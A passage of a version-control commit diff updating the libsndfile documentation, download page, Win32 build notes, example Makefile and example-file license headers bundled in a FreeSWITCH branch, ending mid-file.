 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 
 <TR><TD>G723 ADPCM 24kbps</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 
 <TR><TD>G723 ADPCM 40kbps</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 
 <TR><TD>12 bit DWVW</TD>
 	<TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 
 <TR><TD>16 bit DWVW</TD>
 	<TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 
 <TR><TD>24 bit DWVW</TD>
 	<TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 <TR><TD>Ok Dialogic ADPCM</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
+	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 <TR><TD>8 bit DPCM</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
+	<TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 <TR><TD>16 bit DPCM</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 	<TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
-	<TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
+	<TD>&nbsp;</TD><TD ALIGN="center">R/W</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD>
 </TR>
 </TABLE>
+
+<p>
+From version 1.0.18, libsndfile also reads and writes
+	<a href="http://flac.sourceforge.net/">FLAC</a>
+and
+	<a href="http://www.vorbis.com/">Ogg/Vorbis</a>.
+</p>
+
 <!-- pepper -->
 
 <P>
@@ -277,13 +287,15 @@
 </P>
 	<UL>
 	<LI> Kurzweil K2000 sampler files.
-	<LI> Ogg Vorbis.
 	<LI> Ogg Speex.
-	<LI> FLAC.
 	</UL>
 <P>
-	I have decided that I will not be adding support for MPEG Layer 3 due to the
-	patent issues surrounding this file format.
+	I have decided that I will not be adding support for MPEG Layer 3 (commonly
+	known as MP3) due to the patent issues surrounding this file format.
+	See
+		<a href="http://www.mega-nerd.com/libsndfile/FAQ.html#Q020">
+		the FAQ</a>
+	for more.
 </P>
 <P>
 	Other file formats may also be added on request.
@@ -346,15 +358,19 @@
 	<LI>Version 1.0.16 (Apr 30 2006) Add support for RIFX. Other minor feature enhancements and
 				bug fixes.
 	<LI>Version 1.0.17 (Aug 31 2006) Add C++ wrapper sndfile.hh. Minor bug fixes and cleanups.
+	<LI>Version 1.0.18 (Feb 07 2009) Add Ogg/Vorbis suppport, remove captive libraries, many
+				new features and bug fixes. Generate Win32 and Win64 pre-compiled binaries.
+	<LI>Version 1.0.19 (Mar 02 2009) Fix for CVE-2009-0186. Huge number of minor fixes as a 
+				result of static analysis.
 	</UL>
 
 <A NAME="Similar"></A>
 <H1><B>Similar or Related Projects</B></H1>
 
 	<UL>
-	<LI><A HREF="http://home.sprynet.com/~cbagwell/sox.html">SoX</A> is a program for
+	<LI><A HREF="http://sox.sourceforge.net/">SoX</A> is a program for
 		converting between sound file formats.
-	<LI><A HREF="http://members.home.com/ve3wwg/gnuwave.html">Wavplay</A> started out
+	<LI><A HREF="http://www.hitsquad.com/smm/programs/WavPlay/">Wavplay</A> started out
 		as a minimal WAV file player under Linux and has mutated into Gnuwave, a client/server
 		application for more general multimedia and games sound playback.
 	<LI><A HREF="http://www.68k.org/~michael/audiofile/">Audiofile</A> (libaudiofile) is
@@ -368,10 +384,14 @@
 <A NAME="Licensing"></A>
 <H1><B>Licensing</B></H1>
 <P>
-	libsndfile is released under the terms of the GNU Lesser General Public License. You may
-	read the license
-		<A HREF="http://www.gnu.org/copyleft/lesser.html">here</A>
-	or read a simple explanation of the ideas behind the GPL and the LGPL
+	libsndfile is released under the terms of the GNU Lesser General Public License,
+	of which there are two versions;
+		<a href="http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html">version 2.1</a>
+	and
+		<a href="http://www.gnu.org/copyleft/lesser.html">version 3</a>.
+	To mamximise the compatibility of libsndfile, the user may choose to use libsndfile
+	under either of the above two licenses.
+	You can also read a simple explanation of the ideas behind the GPL and the LGPL
 		<A HREF="http://www.gnu.org/copyleft/copyleft.html">here</A>.
 </P>
 <P>
@@ -392,14 +412,13 @@
 		<A HREF="http://www.opensource.org/">Open Source</A>.
 	However, if you put in a great deal of effort building a huge application
 	which simply uses libsndfile for file I/O, then I have no problem with you releasing
-	that as closed source and charging as much money as you want for it as long as you 
+	that as closed source and charging as much money as you want for it as long as you
 	abide by <A HREF="http://www.gnu.org/copyleft/lesser.html">the license</A>.
 </P>
-<A NAME="Download"></A>
+
 <P>
-	What I don't like to see is things like Steve Dekorte's
-		<A HREF="http://www.dekorte.com/Software/OSX/SoundConverter/">SoundConverter</A>
-	for Mac OSX.
+	What I don't like to see is things like Steve Dekorte's <b>SoundConverter</b>
+	(no I won't link to his page) for Mac OSX.
 	Mr Dekorte has grabbed a number of Free Software packages and wrapped them in a
 	rather amateurish, buggy GUI and released the result as shareware.
 	He charges US$10 for the full version when his contribution to the whole is, by
@@ -409,28 +428,32 @@
 	less than 10%.
 </P>
 
+<A NAME="Download"></A>
 <H1><B>Download</B></H1>
 <P>
-	Here is the latest version. It is available in the following formats (I am no longer
-	distributing RPMs).
+	Here is the latest version. It is available in the following formats:
 </P>
 	<UL>
 	<LI>Source code as a .tar.gz :
-			<A HREF="libsndfile-1.0.17.tar.gz">libsndfile-1.0.17.tar.gz</A>
+			<A HREF="libsndfile-1.0.19.tar.gz">libsndfile-1.0.19.tar.gz</A>
 			and
-			<A HREF="libsndfile-1.0.17.tar.gz.asc">(GPG signature)</A>.
-	<LI>Windows .zip file including precompiled binaries and all source code :
-			<A HREF="libsndfile-1_0_17.zip">libsndfile-1_0_17.zip</A>
-			and
-			<A HREF="libsndfile-1_0_17.zip.asc">(GPG signature)</A>.
+			<A HREF="libsndfile-1.0.19.tar.gz.asc">(GPG signature)</A>.
+	<LI>Win32 installer:
+			<A HREF="libsndfile-1.0.19-w32-setup.exe">
+			libsndfile-1.0.19-w32-setup.exe</A> (thoroughly tested under
+			<a href="http://www.winehq.com/">Wine</a> and Windows XP).
+	<LI>Win64 installer:
+			<A HREF="libsndfile-1.0.19-w64-setup.exe">
+			libsndfile-1.0.19-w64-setup.exe</A> (alpha quality release).
 	</UL>
+
 <P>
-	Compiling libsndfile is relatively easy. The INSTALL file in the top level directory
-	gives instructions on compiling and installing libsndfile on Unix-like systems
-	(including MacOSX). For Win32 there are instructions in the doc/ directory of the
-	tarball. These instructions are mirrored
-		<A HREF="win32.html">here</A>.
-</P>
+The Win32 installer was compiled for Windows XP but should also work on Windows
+2000  and Vista.
+It may even work on earlier versions of Windows.
+The Win64 is pretty much untested.
+</p>
+
 <P>
 	Pre-release versions of libsndfile are available
 			<A HREF="http://www.mega-nerd.com/tmp/">here</A>
@@ -438,10 +461,19 @@
 			<A HREF="lists.html">libsndfile-devel</A>
 	mailing list.
 </P>
-<BR><BR>
 
-<HR>
+<A NAME="SeeAlso"></A>
+<H1><B>See Also</B></H1>
+	<UL>
+	<LI><a href="http://www.mega-nerd.com/libsndfile/tools/">
+		sndfile-tools</a>
+		: a small collection of programs which use libsndfile.
+	</UL>
 
+<br><br>
+
+<hr>
+
 <P>
 	The latest version of this document can be found
 		<A HREF="http://www.mega-nerd.com/libsndfile/">here</A>.
@@ -455,7 +487,7 @@
 <P>
 This page has been accessed
 	<IMG SRC=
-	"/cgi-bin/Count.cgi?ft=6|frgb=55;55;55|tr=0|trgb=0;0;0|wxh=15;20|md=6|dd=B|st=1|sh=1|df=libsndfile.dat"
+	"/cgi-bin/Count.cgi?ft=6|frgb=55;55;55|tr=0|trgb=0;0;0|wxh=15;20|md=7|dd=B|st=1|sh=1|df=libsndfile.dat"
 	HEIGHT=30 WIDTH=100 ALT="counter.gif">
 times.
 </P>
@@ -463,14 +495,6 @@
 <!-- pepper -->
 <!-- pepper -->
 
-<BR><BR>
+<br><br>
 </BODY>
 </HTML>
-
-<!--
-  Do not edit or modify anything in this comment block.
-  The arch-tag line is a file identity tag for the GNU Arch
-  revision control system.
-
-  arch-tag: a96adffb-3017-46e2-82a0-6d77832b14d5
--->

Modified: freeswitch/branches/seven/libs/libsndfile/doc/libsndfile.css (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/libsndfile.css	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/libsndfile.css	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,6 +2,7 @@
 	background : black ;
 	color : white ;
 	font-family : arial, helvetica, sans-serif ;
+	line-height: 1.5 ;
 }
 td {
 	font-family : arial, helvetica, sans-serif ;

Modified: freeswitch/branches/seven/libs/libsndfile/doc/libsndfile.css.in (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/libsndfile.css.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/libsndfile.css.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,6 +2,7 @@
 	background : @HTML_BGCOLOUR@ ;
 	color : @HTML_FGCOLOUR@ ;
 	font-family : arial, helvetica, sans-serif ;
+	line-height: 1.5 ;
 }
 td {
 	font-family : arial, helvetica, sans-serif ;

Modified: freeswitch/branches/seven/libs/libsndfile/doc/lists.html (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/lists.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/lists.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -49,11 +49,3 @@
 <!-- pepper -->
 </BODY>
 </HTML>
-
-<!--
-  Do not edit or modify anything in this comment block.
-  The arch-tag line is a file identity tag for the GNU Arch 
-  revision control system.
- 
-  arch-tag: 71a13776-1e29-47ae-8eee-e376e73dc4db
--->

Modified: freeswitch/branches/seven/libs/libsndfile/doc/new_file_type.HOWTO (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/new_file_type.HOWTO	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/new_file_type.HOWTO	2009-08-09 18:53:22 UTC (rev 14472)
@@ -76,25 +76,25 @@
 
 Step 5
 ------
-Add a call to your open read function from sf_open_read ().
+Add a call to your open function from psf_open_file ().
 
-Edit src/sndfile.c and find the switch statement in sf_open_read (). It starts
+Edit src/sndfile.c and find the switch statement in psf_open_file (). It starts
 like this:
 
 	switch (filetype)
 	{	case	SF_FORMAT_WAV :
-				sf_errno = wav_open_read (psf) ;
+				error = wav_open (psf) ;
 				break ;
 
 		case	SF_FORMAT_AIFF :
-				sf_errno = aiff_open_read (psf) ;
+				error = aiff_open (psf) ;
 				break ;
 
 Towards the bottom of this switch statement your should add one for the new file
 type. Something like:
 
 		case	SF_FORMAT_WACK :
-				sf_errno = whacky_open_read (psf) ;
+				sf_errno = whacky_open (psf) ;
 				break ;
 
 Setp 6
@@ -112,9 +112,9 @@
 something much like one of the other file formats. The file src/au.c might be 
 a good place to start.
 
-In src/whacky.c you should now implement the function whacky_open_read() which 
+In src/whacky.c you should now implement the function whacky_open() which 
 was prototyped in src/common.h. This function should return 0 on success and 
-a negative number on error. 
+a non-zero number on error. 
 
 Error values are defined in src/common.h in a enum which starts at SFE_NO_ERROR.
 When adding a new error value, you also need to add an error string to the 

Modified: freeswitch/branches/seven/libs/libsndfile/doc/octave.html (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/octave.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/octave.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -115,11 +115,3 @@
 
 </BODY>
 </HTML>
-
-<!--
-  Do not edit or modify anything in this comment block.
-  The arch-tag line is a file identity tag for the GNU Arch 
-  revision control system.
- 
-  arch-tag: 6e99f38b-e2ad-4fdd-bc0f-94bf0c66d243
--->

Modified: freeswitch/branches/seven/libs/libsndfile/doc/pkgconfig.html (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/pkgconfig.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/pkgconfig.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -68,11 +68,3 @@
 </P>
 </BODY>
 </HTML>
-
-<!--
-  Do not edit or modify anything in this comment block.
-  The arch-tag line is a file identity tag for the GNU Arch 
-  revision control system.
- 
-  arch-tag: 3c1ed1be-9875-47f9-90f3-015da975d622
--->

Modified: freeswitch/branches/seven/libs/libsndfile/doc/sndfile_info.html (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/sndfile_info.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/sndfile_info.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -50,11 +50,3 @@
 
 </BODY>
 </HTML>
-
-<!--
-  Do not edit or modify anything in this comment block.
-  The arch-tag line is a file identity tag for the GNU Arch 
-  revision control system.
- 
-  arch-tag: a7ae18b0-bf27-4c50-b8b2-e209d0cd36c5
--->

Copied: freeswitch/branches/seven/libs/libsndfile/doc/tutorial.html (from rev 14471, freeswitch/trunk/libs/libsndfile/doc/tutorial.html) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/tutorial.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/doc/tutorial.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<HTML>
+
+<HEAD>
+	<TITLE>
+	libsndfile Tutorial
+	</TITLE>
+	<META NAME="Author"      CONTENT="Erik de Castro Lopo (erikd AT mega-nerd DOT com)">
+	<LINK REL=StyleSheet HREF="libsndfile.css" TYPE="text/css" MEDIA="all">
+</HEAD>
+
+<BODY>
+<!-- pepper -->
+<H1><BR>libsndfile Tutorial</H1>
+<!-- pepper -->
+<P>
+<b>More coming soon.</b>
+</P>
+<!-- pepper -->
+<P>
+For now, the best place to look for example code is the <tt>examples/</tt>
+directory of the source code distribution and the libsndfile test suite which
+is located in the <tt>tests/</tt> directory of the source code distribution.
+</P>
+<!-- pepper -->
+<!-- pepper -->
+<!-- pepper -->
+<!-- pepper -->
+<!-- pepper -->
+<!-- pepper -->
+</BODY>
+</HTML>
+

Modified: freeswitch/branches/seven/libs/libsndfile/doc/win32.html (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/win32.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/win32.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -14,115 +14,34 @@
 <H1><BR>Building libsndfile on Win32</H1>
 
 <P><B>
-Note : For pre-compiled binaries for windows, see the main web page.
+Note : For pre-compiled binaries for windows, both for win32 and win64, see the
+main web page.
 </B></P>
 
 <P>
-There are currently two ways of building libsndfile under Win32:
+There is currently only one way of building libsndfile for Win32 and Win64;
+cross compiling from Linux using the MinGW cross compiler.
 </P>
-<UL>
-	<LI> Using the free <A HREF="#MinGW">MinGW</A> tools.
-	<LI> Using Cygwin (this is the full Cygwin without the -mno-cygwin option).
-</UL>
 
-<P><B>
-Building libsndfile using the microsoft compiler does not currently work.
-Microsoft's compiler is a C++ compiler and does not compile a number of ISO 
-C99 Standard constructs.
-If you insist on compiling libsndfile with the microsoft compiler you are 
-on your own.
-</B></P>
-<P><B>
-However, even though the libsndfile source code cannot be compiled with
-the microsoft compiler, the pre-compiled windows DLL distributed on the
-main web page can be used with C++ projects compiled with the microsoft
-compiler.
-</B></P>
-
 <P>
-The free MinGW tools are the preferred option because they are a free (as in
-beer and speech), easily obtainable and much closer to the Linux/GCC
-environment on which libsndfile is developed.
+libsndfile is written to be compiled by a compiler which supports large
+chunks of the 1999 ISO C Standard.
+Unfortunately, the microsoft compiler supports close to nothing of this
+standard and hence is not suitable for libsndfile.
 </P>
 
-<A NAME="MinGW"></A>
-<H2><BR>Building libsndfile using MinGW.</H2>
 <P>
-The MinGW tools are available from <A HREF="http://www.mingw.org/">
-http://www.mingw.org/</A>.
-The files you will need will be named something like:
+It <b>may</b> be possible to compile libsndfile on windows using the
+	<a href="http://www.mingw.org/">MinGW</a>
+compiler suite, but I haven't tested that and have no interest in supporting
+that.
 </P>
-<UL>
-	<LI> msysDTK-1.0.1.exe
-	<LI> MSYS-1.0.10.exe
-	<LI> gcc-core-3.4.2-20040916-1.tar.gz
-	<LI> gcc-g++-3.4.2-20040916-1.tar.gz
-	<LI> binutils-2.15.91-20040901-1.tar.gz
-	<LI> mingw-runtime-3.9.tar.gz
-	<LI> w32api-3.6.tar.gz
-	<LI> mingw-utils-0.3.tar.gz
-</UL>
 
-<P>
-They should be installed using the directions on the MinGW site.
-I know the instructions aren't great, but I don't have the time or expertise
-to write better ones.
-</P>
-
-<P>
-Once you have the tools installed you will get an icon named <B>MSYS</B> on
-your desktop.
-Clicking on that icon will bring up something that looks a little like an
-xterm.
-</P>
-
-<P>
-Assuming that you have downloaded the <B>.tar.gz</B> file into the
-<B>C:\temp\</B> directory you should now be able to execute the following
-commands:
-</P>
-
-<PRE>
-		tar zxf /c/temp/libsndfile.X.Y.Z.tar.gz
-		cd libsndfile-X.Y.Z
-		./configure
-		make
-		make check
-</PRE>
-
-<P>
-If there is a failure during compiling or the "make check" stage, you should
-check that you are using the current stable version of the MinGW tools, and
-the latest version of libsndfile before sending the author a bug report.
-</P>
-
-<P>
-Once this is done, anyone interested in using libsndfile in other projects
-will be interested in the following files:
-</P>
-<UL>
-	<LI> libsndfile.dll
-	<LI> libsndfile.lib
-	<LI> libsndfile.def
-	<LI> src/sndfile.h
-	<LI> doc/*.html
-</UL>
-
 <!--===========================================================================-->
 
 <!-- pepper -->
-<H2><BR>Compile Problems</H2>
 <!-- pepper -->
-<P>
-Compile problems using the above method of building the libsndfile DLL on Win32 should
-be emailed to
-	<A HREF="m&#97;ilt&#111;:&#101;rikd&#64;&#109;eg&#97;-&#110;erd.&#99;om">
-		Erik de Castro Lopo</a>.
-</P>
 <!-- pepper -->
-<P>
-If you are using some other method to compile the libsndfile DLL you are on your own.
-</P>
 <BR>
 <!-- pepper -->
 <!-- pepper -->
@@ -131,11 +50,3 @@
 
 </BODY>
 </HTML>
-
-<!--
-  Do not edit or modify anything in this comment block.
-  The arch-tag line is a file identity tag for the GNU Arch
-  revision control system.
-
-  arch-tag: b32ddb11-eb51-425f-9d39-b8b66284f129
--->

Modified: freeswitch/branches/seven/libs/libsndfile/examples/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/examples/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/examples/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,46 +1,24 @@
 ## Process this file with automake to produce Makefile.in
 
-bin_PROGRAMS = sndfile-info sndfile-play sndfile-convert
+noinst_PROGRAMS = make_sine sfprocess list_formats generate sndfilehandle sndfile-to-text
 
-noinst_PROGRAMS = make_sine sfprocess list_formats cooledit-fixer generate
+INCLUDES = -I$(top_srcdir)/src
 
-# This is the BeOS version of sndfile-play. It needs to be compiled with the C++
-# compiler.
-EXTRA_DIST = sndfile-play-beos.cpp
+sndfile_to_text_SOURCES = sndfile-to-text.c
+sndfile_to_text_LDADD = $(top_builddir)/src/libsndfile.la
 
-OS_SPECIFIC_CFLAGS = @OS_SPECIFIC_CFLAGS@
-OS_SPECIFIC_LINKS = @OS_SPECIFIC_LINKS@
+make_sine_SOURCES = make_sine.c
+make_sine_LDADD = $(top_builddir)/src/libsndfile.la
 
-SNDFILEDIR =../src
-INCLUDES = -I$(srcdir)/$(SNDFILEDIR) $(OS_SPECIFIC_CFLAGS)
+sfprocess_SOURCES = sfprocess.c
+sfprocess_LDADD = $(top_builddir)/src/libsndfile.la
 
-sndfile_info_SOURCES = sndfile-info.c 
-sndfile_info_LDADD = $(SNDFILEDIR)/libsndfile.la
+list_formats_SOURCES = list_formats.c
+list_formats_LDADD = $(top_builddir)/src/libsndfile.la
 
-sndfile_play_SOURCES = sndfile-play.c 
-sndfile_play_LDADD = $(SNDFILEDIR)/libsndfile.la $(OS_SPECIFIC_LINKS) $(ALSA_LIBS)
+generate_SOURCES = generate.c
+generate_LDADD = $(top_builddir)/src/libsndfile.la
 
-sndfile_convert_SOURCES = sndfile-convert.c 
-sndfile_convert_LDADD = $(SNDFILEDIR)/libsndfile.la
- 
-make_sine_SOURCES = make_sine.c 
-make_sine_LDADD = $(SNDFILEDIR)/libsndfile.la
+sndfilehandle_SOURCES = sndfilehandle.cc
+sndfilehandle_LDADD = $(top_builddir)/src/libsndfile.la
 
-sfprocess_SOURCES = sfprocess.c 
-sfprocess_LDADD = $(SNDFILEDIR)/libsndfile.la
-
-list_formats_SOURCES = list_formats.c 
-list_formats_LDADD = $(SNDFILEDIR)/libsndfile.la
-
-cooledit_fixer_SOURCES = cooledit-fixer.c 
-cooledit_fixer_LDADD = $(SNDFILEDIR)/libsndfile.la
-
-generate_SOURCES = generate.c 
-generate_LDADD = $(SNDFILEDIR)/libsndfile.la
-
-## Do not edit or modify anything in this comment block.
-## The arch-tag line is a file identity tag for the GNU Arch 
-## revision control system.
-##
-## arch-tag: faeb8674-e417-4162-9ac9-05f2b8369b57
-

Modified: freeswitch/branches/seven/libs/libsndfile/examples/generate.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/examples/generate.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/examples/generate.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,19 +1,33 @@
 /*
-** Copyright (C) 2002-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
-** This program is free software; you can redistribute it and/or modify
-** it under the terms of the GNU General Public License as published by
-** the Free Software Foundation; either version 2 of the License, or
-** (at your option) any later version.
+** All rights reserved.
 **
-** This program is distributed in the hope that it will be useful,
-** but WITHOUT ANY WARRANTY; without even the implied warranty of
-** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-** GNU General Public License for more details.
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
 **
-** You should have received a copy of the GNU General Public License
-** along with this program; if not, write to the Free Software
-** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+**     * Redistributions of source code must retain the above copyright
+**       notice, this list of conditions and the following disclaimer.
+**     * Redistributions in binary form must reproduce the above copyright
+**       notice, this list of conditions and the following disclaimer in
+**       the documentation and/or other materials provided with the
+**       distribution.
+**     * Neither the author nor the names of any contributors may be used
+**       to endorse or promote products derived from this software without
+**       specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+** TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+** PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+** CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+** EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+** PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+** OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+** OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+** ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */
 
 #include "sfconfig.h"
@@ -115,11 +129,3 @@
 	return ;
 } /* encode_file */
 
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: fe28ef37-ae89-4f61-966b-0b1f68e37425
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/examples/list_formats.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/examples/list_formats.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/examples/list_formats.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,19 +1,33 @@
 /*
-** Copyright (C) 2001-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
-** This program is free software; you can redistribute it and/or modify
-** it under the terms of the GNU General Public License as published by
-** the Free Software Foundation; either version 2 of the License, or
-** (at your option) any later version.
+** All rights reserved.
 **
-** This program is distributed in the hope that it will be useful,
-** but WITHOUT ANY WARRANTY; without even the implied warranty of
-** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-** GNU General Public License for more details.
+** Redistribution and use in source and binary forms, with or without
